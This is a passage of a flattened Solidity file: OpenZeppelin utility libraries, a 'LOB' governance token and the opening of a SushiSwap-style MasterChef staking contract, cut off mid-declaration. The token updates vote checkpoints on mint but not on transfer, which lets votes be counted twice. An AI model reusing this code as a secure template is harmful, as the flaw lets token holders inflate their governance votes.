Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // File: @openzeppelin/contracts/utils/Address.sol pragma solidity ^0.6.2; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require( address(this).balance >= amount, "Address: insufficient balance" ); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{value: amount}(""); require( success, "Address: unable to send value, recipient may have reverted" ); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue( target, data, value, "Address: low-level call with value failed" ); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require( address(this).balance >= value, "Address: insufficient balance for call" ); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue( address target, bytes memory data, uint256 weiValue, string memory errorMessage ) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{value: weiValue}( data ); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/token/ERC20/SafeERC20.sol pragma solidity ^0.6.0; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer( IERC20 token, address to, uint256 value ) internal { _callOptionalReturn( token, abi.encodeWithSelector(token.transfer.selector, to, value) ); } function safeTransferFrom( IERC20 token, address from, address to, uint256 value ) internal { _callOptionalReturn( token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value) ); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove( IERC20 token, address spender, uint256 value ) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require( (value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn( token, abi.encodeWithSelector(token.approve.selector, spender, value) ); } function safeIncreaseAllowance( IERC20 token, address spender, uint256 value ) internal { uint256 newAllowance = token.allowance(address(this), spender).add( value ); _callOptionalReturn( token, abi.encodeWithSelector( token.approve.selector, spender, newAllowance ) ); } function safeDecreaseAllowance( IERC20 token, address spender, uint256 value ) internal { uint256 newAllowance = token.allowance(address(this), spender).sub( value, "SafeERC20: decreased allowance below zero" ); _callOptionalReturn( token, abi.encodeWithSelector( token.approve.selector, spender, newAllowance ) ); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall( data, "SafeERC20: low-level call failed" ); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require( abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed" ); } } } // File: @openzeppelin/contracts/utils/EnumerableSet.sol pragma solidity ^0.6.0; /** * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * ``` * * As of v3.0.0, only sets of type `address` (`AddressSet`) and `uint256` * (`UintSet`) are supported. */ library EnumerableSet { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping(bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; // When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { require( set._values.length > index, "EnumerableSet: index out of bounds" ); return set._values[index]; } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(value))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(value))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(value))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint256(_at(set._inner, index))); } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } } // File: @openzeppelin/contracts/GSN/Context.sol pragma solidity ^0.6.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal virtual view returns (address payable) { return msg.sender; } function _msgData() internal virtual view returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: @openzeppelin/contracts/access/Ownable.sol pragma solidity ^0.6.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require( newOwner != address(0), "Ownable: new owner is the zero address" ); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // File: @openzeppelin/contracts/token/ERC20/ERC20.sol pragma solidity ^0.6.0; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor(string memory name, string memory symbol) public { _name = name; _symbol = symbol; _decimals = 18; } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public override view returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public override view returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public virtual override view returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve( _msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue) ); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve( _msgSender(), spender, _allowances[_msgSender()][spender].sub( subtractedValue, "ERC20: decreased allowance below zero" ) ); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub( amount, "ERC20: transfer amount exceeds balance" ); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub( amount, "ERC20: burn amount exceeds balance" ); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } // File: contracts/LobToken.sol pragma solidity 0.6.12; // LobToken with Governance. contract LobToken is ERC20("LOB", "LOB"), Ownable { /// @notice Creates `_amount` token to `_to`. Must only be called by the owner (MasterChef). function mint(address _to, uint256 _amount) public onlyOwner { _mint(_to, _amount); _moveDelegates(address(0), _delegates[_to], _amount); } // Copied and modified from YAM code: // https://github.com/yam-finance/yam-protocol/blob/master/contracts/token/YAMGovernanceStorage.sol // https://github.com/yam-finance/yam-protocol/blob/master/contracts/token/YAMGovernance.sol // Which is copied and modified from COMPOUND: // https://github.com/compound-finance/compound-protocol/blob/master/contracts/Governance/Comp.sol /// @notice A record of each accounts delegate mapping(address => address) internal _delegates; /// @notice A checkpoint for marking number of votes from a given block struct Checkpoint { uint32 fromBlock; uint256 votes; } /// @notice A record of votes checkpoints for each account, by index mapping(address => mapping(uint32 => Checkpoint)) public checkpoints; /// @notice The number of checkpoints for each account mapping(address => uint32) public numCheckpoints; /// @notice The EIP-712 typehash for the contract's domain bytes32 public constant DOMAIN_TYPEHASH = keccak256( "EIP712Domain(string name,uint256 chainId,address verifyingContract)" ); /// @notice The EIP-712 typehash for the delegation struct used by the contract bytes32 public constant DELEGATION_TYPEHASH = keccak256( "Delegation(address delegatee,uint256 nonce,uint256 expiry)" ); /// @notice A record of states for signing / validating signatures mapping(address => uint256) public nonces; /// @notice An event thats emitted when an account changes its delegate event DelegateChanged( address indexed delegator, address indexed fromDelegate, address indexed toDelegate ); /// @notice An event thats emitted when a delegate account's vote balance changes event DelegateVotesChanged( address indexed delegate, uint256 previousBalance, uint256 newBalance ); /** * @notice Delegate votes from `msg.sender` to `delegatee` * @param delegator The address to get delegatee for */ function delegates(address delegator) external view returns (address) { return _delegates[delegator]; } /** * @notice Delegate votes from `msg.sender` to `delegatee` * @param delegatee The address to delegate votes to */ function delegate(address delegatee) external { return _delegate(msg.sender, delegatee); } /** * @notice Delegates votes from signatory to `delegatee` * @param delegatee The address to delegate votes to * @param nonce The contract state required to match the signature * @param expiry The time at which to expire the signature * @param v The recovery byte of the signature * @param r Half of the ECDSA signature pair * @param s Half of the ECDSA signature pair */ function delegateBySig( address delegatee, uint256 nonce, uint256 expiry, uint8 v, bytes32 r, bytes32 s ) external { bytes32 domainSeparator = keccak256( abi.encode( DOMAIN_TYPEHASH, keccak256(bytes(name())), getChainId(), address(this) ) ); bytes32 structHash = keccak256( abi.encode(DELEGATION_TYPEHASH, delegatee, nonce, expiry) ); bytes32 digest = keccak256( abi.encodePacked("\x19\x01", domainSeparator, structHash) ); address signatory = ecrecover(digest, v, r, s); require( signatory != address(0), "LOB::delegateBySig: invalid signature" ); require( nonce == nonces[signatory]++, "LOB::delegateBySig: invalid nonce" ); require(now <= expiry, "LOB::delegateBySig: signature expired"); return _delegate(signatory, delegatee); } /** * @notice Gets the current votes balance for `account` * @param account The address to get votes balance * @return The number of current votes for `account` */ function getCurrentVotes(address account) external view returns (uint256) { uint32 nCheckpoints = numCheckpoints[account]; return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0; } /** * @notice Determine the prior number of votes for an account as of a block number * @dev Block number must be a finalized block or else this function will revert to prevent misinformation. * @param account The address of the account to check * @param blockNumber The block number to get the vote balance at * @return The number of votes the account had as of the given block */ function getPriorVotes(address account, uint256 blockNumber) external view returns (uint256) { require( blockNumber < block.number, "LOB::getPriorVotes: not yet determined" ); uint32 nCheckpoints = numCheckpoints[account]; if (nCheckpoints == 0) { return 0; } // First check most recent balance if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) { return checkpoints[account][nCheckpoints - 1].votes; } // Next check implicit zero balance if (checkpoints[account][0].fromBlock > blockNumber) { return 0; } uint32 lower = 0; uint32 upper = nCheckpoints - 1; while (upper > lower) { uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow Checkpoint memory cp = checkpoints[account][center]; if (cp.fromBlock == blockNumber) { return cp.votes; } else if (cp.fromBlock < blockNumber) { lower = center; } else { upper = center - 1; } } return checkpoints[account][lower].votes; } function _delegate(address delegator, address delegatee) internal { address currentDelegate = _delegates[delegator]; uint256 delegatorBalance = balanceOf(delegator); // balance of underlying LOBBs (not scaled); _delegates[delegator] = delegatee; emit DelegateChanged(delegator, currentDelegate, delegatee); _moveDelegates(currentDelegate, delegatee, delegatorBalance); } function _moveDelegates( address srcRep, address dstRep, uint256 amount ) internal { if (srcRep != dstRep && amount > 0) { if (srcRep != address(0)) { // decrease old representative uint32 srcRepNum = numCheckpoints[srcRep]; uint256 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0; uint256 srcRepNew = srcRepOld.sub(amount); _writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew); } if (dstRep != address(0)) { // increase new representative uint32 dstRepNum = numCheckpoints[dstRep]; uint256 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0; uint256 dstRepNew = dstRepOld.add(amount); _writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew); } } } function _writeCheckpoint( address delegatee, uint32 nCheckpoints, uint256 oldVotes, uint256 newVotes ) internal { uint32 blockNumber = safe32( block.number, "LOB::_writeCheckpoint: block number exceeds 32 bits" ); if ( nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber ) { checkpoints[delegatee][nCheckpoints - 1].votes = newVotes; } else { checkpoints[delegatee][nCheckpoints] = Checkpoint( blockNumber, newVotes ); numCheckpoints[delegatee] = nCheckpoints + 1; } emit DelegateVotesChanged(delegatee, oldVotes, newVotes); } function safe32(uint256 n, string memory errorMessage) internal pure returns (uint32) { require(n < 2**32, errorMessage); return uint32(n); } function getChainId() internal pure returns (uint256) { uint256 chainId; assembly { chainId := chainid() } return chainId; } } // File: contracts/MasterChef.sol pragma solidity 0.6.12; interface IMigratorChef { // Perform LP token migration from legacy UniswapV2 to SushiSwap. // Take the current LP token address and return the new LP token address. // Migrator should have full access to the caller's LP token. // Return the new LP token address. // // XXX Migrator must have allowance access to UniswapV2 LP tokens. // SushiSwap must mint EXACTLY the same amount of SushiSwap LP tokens or // else something bad will happen. Traditional UniswapV2 does not // do that so be careful! function migrate(IERC20 token) external returns (IERC20); } // MasterChef is the master of Sushi. He can make Sushi and he is a fair guy. // // Note that it's ownable and the owner wields tremendous power. The ownership // will be transferred to a governance smart contract once SUSHI is sufficiently // distributed and the community can show to govern itself. // // Have fun reading it. Hopefully it's bug-free. God bless. contract MasterChef is Ownable { using SafeMath for uint256; using SafeERC20 for IERC20; // Info of each user. struct UserInfo { uint256 amount; // How many LP tokens the user has provided. uint256 rewardDebt; // Reward debt. See explanation below. // // We do some fancy math here. Basically, any point in time, the amount of SUSHIs // entitled to a user but is pending to be distributed is: // // pending reward = (user.amount * pool.accSushiPerShare) - user.rewardDebt // // Whenever a user deposits or withdraws LP tokens to a pool. Here's what happens: // 1. The pool's `accSushiPerShare` (and `lastRewardBlock`) gets updated. // 2. User receives the pending reward sent to his/her address. // 3. User's `amount` gets updated. // 4. User's `rewardDebt` gets updated. } // Info of each pool. struct PoolInfo { IERC20 lpToken; // Address of LP token contract. uint256 allocPoint; // How many allocation points assigned to this pool. SUSHIs to distribute per block. uint256 lastRewardBlock; // Last block number that SUSHIs distribution occurs. uint256 accSushiPerShare; // Accumulated SUSHIs per share, times 1e12. See below. } // The LOB TOKEN! LobToken public sushi; // Dev address. address public devaddr; // Block number when bonus SUSHI period ends. uint256 public bonusEndBlock; // SUSHI tokens created per block. uint256 public sushiPerBlock; // Bonus muliplier for early sushi makers. uint256 public constant BONUS_MULTIPLIER = 1000000; // The migrator contract. It has a lot of power. Can only be set through governance (owner). IMigratorChef public migrator; // Info of each pool. PoolInfo[] public poolInfo; 